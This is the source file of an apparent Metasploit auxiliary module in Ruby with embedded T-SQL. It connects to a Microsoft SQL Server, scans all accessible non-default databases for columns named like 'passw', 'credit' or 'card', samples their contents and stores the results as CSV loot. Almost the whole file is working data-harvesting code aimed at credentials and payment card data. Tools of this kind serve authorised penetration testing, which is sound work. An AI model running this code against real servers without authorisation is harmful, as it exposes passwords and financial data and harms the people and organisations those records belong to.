Path: blob/master/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::MSSQL9include Msf::OptionalSession::MSSQL1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Microsoft SQL Server Find and Sample Data',16'Description' => %q{17This script will search through all of the non-default databases18on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS19option. If column names are found that match the defined keywords and data is present20in the associated tables, the script will select a sample of the records from each of21the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results22output in a CSV format.23},24'Author' => [25'Scott Sutherland <scott.sutherland[at]netspi.com>', # Metasploit module26'Robin Wood <robin[at]digininja.org>', # IDF module which was my inspiration27'humble-desser <humble.desser[at]gmail.com>', # Help on IRC28'Carlos Perez <carlos_perez[at]darkoperator.com>', # Help on IRC29'hdm', # Help on IRC30'todb' # Help on GitHub31],32'License' => MSF_LICENSE,33'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]],34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('KEYWORDS', [ true, 'Keywords to search for', 'passw|credit|card']),45OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]),46]47)48end4950def print_with_underline(str)51print_line(str)52print_line('=' * str.length)53end5455def run_host(_ip)56sql_statement57end5859# rubocop:disable Metrics/MethodLength60# # TODO: Move this SQL to a file61def sql_statement62# DEFINED HEADER TEXT63headings = [64['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']65]6667# DEFINE SEARCH QUERY AS VARIABLE68sql = "69-- CHECK IF VERSION IS COMPATIBLE = > than 200070IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,71CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 072BEGIN7374-- TURN OFF ROW COUNT75SET NOCOUNT ON;76--------------------------------------------------77-- SETUP UP SAMPLE SIZE78--------------------------------------------------79DECLARE @SAMPLE_COUNT varchar(800);80SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}';8182--------------------------------------------------83-- SETUP KEYWORDS TO SEARCH84--------------------------------------------------85DECLARE @KEYWORDS varchar(800);86SET @KEYWORDS = '#{datastore['KEYWORDS']}|';8788--------------------------------------------------89--SETUP WHERE STATEMENT CONTAINING KEYWORDS90--------------------------------------------------91DECLARE @SEARCH_TERMS varchar(800);92SET @SEARCH_TERMS = ''; -- Leave this blank9394-- START WHILE LOOP HERE -- BEGIN TO ITERATE THROUGH KEYWORDS9596WHILE LEN(@KEYWORDS) > 097BEGIN98--SET VARIABLES UP FOR PARSING PROCESS99DECLARE @change int100DECLARE @keyword varchar(800)101102--SET KEYWORD CHANGE TRACKER103SELECT @change = CHARINDEX('|',@KEYWORDS);104105--PARSE KEYWORD106SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;107108-- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT109SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS110111-- REMOVE PROCESSED KEYWORD112SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));113114END115-- REMOVE UNNEEDED116SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);117118--------------------------------------------------119-- CREATE GLOBAL TEMP TABLES120--------------------------------------------------121USE master;122123IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;124IF OBJECT_ID('tempdb..##mytable') IS NULL125BEGIN126CREATE TABLE ##mytable (127server_name varchar(800),128database_name varchar(800),129table_schema varchar(800),130table_name varchar(800),131column_name varchar(800),132column_data_type varchar(800)133)134END135136IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;137IF OBJECT_ID('tempdb..##mytable2') IS NULL138BEGIN139CREATE TABLE ##mytable2 (140server_name varchar(800),141database_name varchar(800),142table_schema varchar(800),143table_name varchar(800),144column_name varchar(800),145column_data_type varchar(800),146column_value varchar(800),147column_data_row_count varchar(800)148)149END150151--------------------------------------------------152-- CURSOR1153-- ENUMERATE COLUMNS FROM EACH DATABASE THAT154-- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE155--------------------------------------------------156157-- SETUP SOME VARIABLES FOR THE MYCURSOR1158DECLARE @var1 varchar(800);159DECLARE @var2 varchar(800);160161--------------------------------------------------------------------162-- CHECK IF ANY NON-DEFAULT DATABASE EXIST163--------------------------------------------------------------------164IF (SELECT count(*)165FROM master..sysdatabases166WHERE name NOT IN ('master','tempdb','model','msdb')167and HAS_DBACCESS(name) <> 0) <> 0168BEGIN169DECLARE MY_CURSOR1 CURSOR170FOR171172SELECT name FROM master..sysdatabases173WHERE name NOT IN ('master','tempdb','model','msdb')174and HAS_DBACCESS(name) <> 0;175176OPEN MY_CURSOR1177FETCH NEXT FROM MY_CURSOR1 INTO @var1178WHILE @@FETCH_STATUS = 0179BEGIN180---------------------------------------------------181-- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE182---------------------------------------------------183SET @var2 = '184INSERT INTO ##mytable185SELECT @@SERVERNAME as SERVER_NAME,186TABLE_CATALOG as DATABASE_NAME,187TABLE_SCHEMA,188TABLE_NAME,189COLUMN_NAME,190DATA_TYPE191FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '192193--APPEND KEYWORDS TO QUERY194DECLARE @fullquery varchar(800);195SET @fullquery = @var2+@SEARCH_TERMS;196197EXEC(@fullquery);198FETCH NEXT FROM MY_CURSOR1 INTO @var1199200END201CLOSE MY_CURSOR1202DEALLOCATE MY_CURSOR1203-------------------------------------------------204-- CURSOR2205-- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS206-- THAT MATCH THE DEFINED KEYWORDS207-- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES208-------------------------------------------------209210IF (SELECT COUNT(*) FROM ##mytable) < 1211BEGIN212SELECT 'No columns where found that match the defined keywords.' as Message;213END214ELSE215BEGIN216DECLARE @var_server varchar(800)217DECLARE @var_database varchar(800)218DECLARE @var_table varchar(800)219DECLARE @var_table_schema varchar(800)220DECLARE @var_column_data_type varchar(800)221DECLARE @var_column varchar(800)222DECLARE @myquery varchar(800)223DECLARE @var_column_data_row_count varchar(800)224225DECLARE MY_CURSOR2 CURSOR226FOR227SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type228FROM ##mytable229230OPEN MY_CURSOR2231FETCH NEXT FROM MY_CURSOR2 INTO @var_server,232@var_database,233@var_table_schema,234@var_table,235@var_column,236@var_column_data_type237WHILE @@FETCH_STATUS = 0238BEGIN239----------------------------------------------------------------------240-- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2241----------------------------------------------------------------------242-- GET COUNT243DECLARE @mycount_query as varchar(800);244DECLARE @mycount as varchar(800);245246-- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT247IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount248CREATE TABLE #mycount(mycount varchar(800));249250-- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY251SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT252COUNT('+@var_column+') FROM '+@var_database+'.253'+@var_table_schema+'.'+@var_table;254EXEC(@mycount_query);255256-- SET THE COLUMN DATA ROW COUNT257SELECT @mycount = mycount FROM #mycount;258259-- REMOVE TEMP TABLE260IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount261262SET @myquery = '263INSERT INTO ##mytable2264(server_name,265database_name,266table_schema,267table_name,268column_name,269column_data_type,270column_value,271column_data_row_count)272SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,273('''+@var_database+''') as database_name,274('''+@var_table_schema+''') as table_schema,275('''+@var_table+''') as table_name,276('''+@var_column+''') as comlumn_name,277('''+@var_column_data_type+''') as column_data_type,278'+@var_column+','+@mycount+' as column_data_row_count279FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']280WHERE '+@var_column+' IS NOT NULL;281'282EXEC(@myquery);283284FETCH NEXT FROM MY_CURSOR2 INTO285@var_server,286@var_database,287@var_table_schema,288@var_table,@var_column,289@var_column_data_type290END291CLOSE MY_CURSOR2292DEALLOCATE MY_CURSOR2293294-----------------------------------295-- SELECT THE RESULTS OF THE SEARCH296-----------------------------------297IF (SELECT @SAMPLE_COUNT)= 1298BEGIN299SELECT DISTINCT cast(server_name as CHAR) as server_name,300cast(database_name as char) as database_name,301cast(table_schema as char) as table_schema,302cast(table_name as char) as table_schema,303cast(column_name as char) as column_name,304cast(column_data_type as char) as column_data_type,305cast(column_value as char) as column_data_sample,306cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2307END308ELSE309BEGIN310SELECT DISTINCT cast(server_name as CHAR) as server_name,311cast(database_name as char) as database_name,312cast(table_schema as char) as table_schema,313cast(table_name as char) as table_schema,314cast(column_name as char) as column_name,315cast(column_data_type as char) as column_data_type,316cast(column_value as char) as column_data_sample,317cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2318END319END320-----------------------------------321-- REMOVE GLOBAL TEMP TABLES322-----------------------------------323IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;324IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;325326END327ELSE328BEGIN329----------------------------------------------------------------------330-- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS331----------------------------------------------------------------------332IF (SELECT count(*) FROM master..sysdatabases333WHERE name NOT IN ('master','tempdb','model','msdb')) < 1334SELECT 'No non-default databases exist to search.' as Message;335ELSE336SELECT 'Non-default databases exist,337but the current user does not have338the privileges to access them.' as Message;339END340END341else342BEGIN343SELECT 'This module only works on SQL Server 2005 and above.';344END345346SET NOCOUNT OFF;"347348# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING349begin350if session351set_mssql_session(session.client)352else353print_line(' ')354print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")355return unless mssql_login_datastore356357print_good("Successfully connected to #{mssql_client.peerhost}:#{mssql_client.peerport}")358end359360print_status('Attempting to retrieve data ...')361result = mssql_query(sql, false)362363column_data = result[:rows]364rescue StandardError365print_error("Failed to connect to #{rhost}:#{rport}")366return367end368369if (column_data.count < 7)370# Return error from SQL server371column_data.each do |row|372print_status(row.to_s.gsub('[', '').gsub(']', '').gsub('"', '').to_s)373end374return375end376377# CREATE TABLE TO STORE SQL SERVER DATA LOOT378sql_data_tbl = Rex::Text::Table.new(379'Header' => 'SQL Server Data',380'Indent' => 1,381'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']382)383384# SETUP COLUMN WIDTH FOR QUERY RESULTS385column_data.each do |row|3860.upto(7) do |col|387row[col] = row[col].strip.to_s388end389end390391# SETUP ROW WIDTHS392widths = [0, 0, 0, 0, 0, 0, 0, 0]393(column_data | headings).each do |row|3940.upto(7) do |col|395widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]396end397end398399# PRINT HEADERS400print_line(' ')401buffer1 = ''402buffer2 = ''403headings.each do |row|4040.upto(7) do |col|405buffer1 += row[col].ljust(widths[col] + 1)406buffer2 += row[col] + ','407end408print_line(buffer1)409buffer2 = buffer2.chomp(',') + "\n"410end411412# PRINT DIVIDERS413buffer1 = ''414buffer2 = ''415headings.each do |_row|4160.upto(7) do |col|417divider = '=' * widths[col] + ' '418buffer1 += divider.ljust(widths[col] + 1)419end420print_line(buffer1)421end422423# PRINT DATA424buffer1 = ''425buffer2 = ''426print_line('')427column_data.each do |row|4280.upto(7) do |col|429buffer1 += row[col].ljust(widths[col] + 1)430buffer2 += row[col] + ','431end432print_line(buffer1)433buffer2 = buffer2.chomp(',') + "\n"434435# WRITE QUERY OUTPUT TO TEMP REPORT TABLE436sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]437438buffer1 = ''439buffer2 = ''440print_line(buffer1)441end442disconnect443444this_service = nil445if framework.db && framework.db.active446this_service = report_service(447host: mssql_client.peerhost,448port: mssql_client.peerport,449name: 'mssql',450proto: 'tcp'451)452end453454# CONVERT TABLE TO CSV AND WRITE TO FILE455filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_sqlserver_query_results.csv"456path = store_loot('mssql.data', 'text/plain', mssql_client.peerhost, sql_data_tbl.to_csv, filename, 'SQL Server query results', this_service)457print_good("Query results have been saved to: #{path}")458end459# rubocop:enable Metrics/MethodLength460end461462463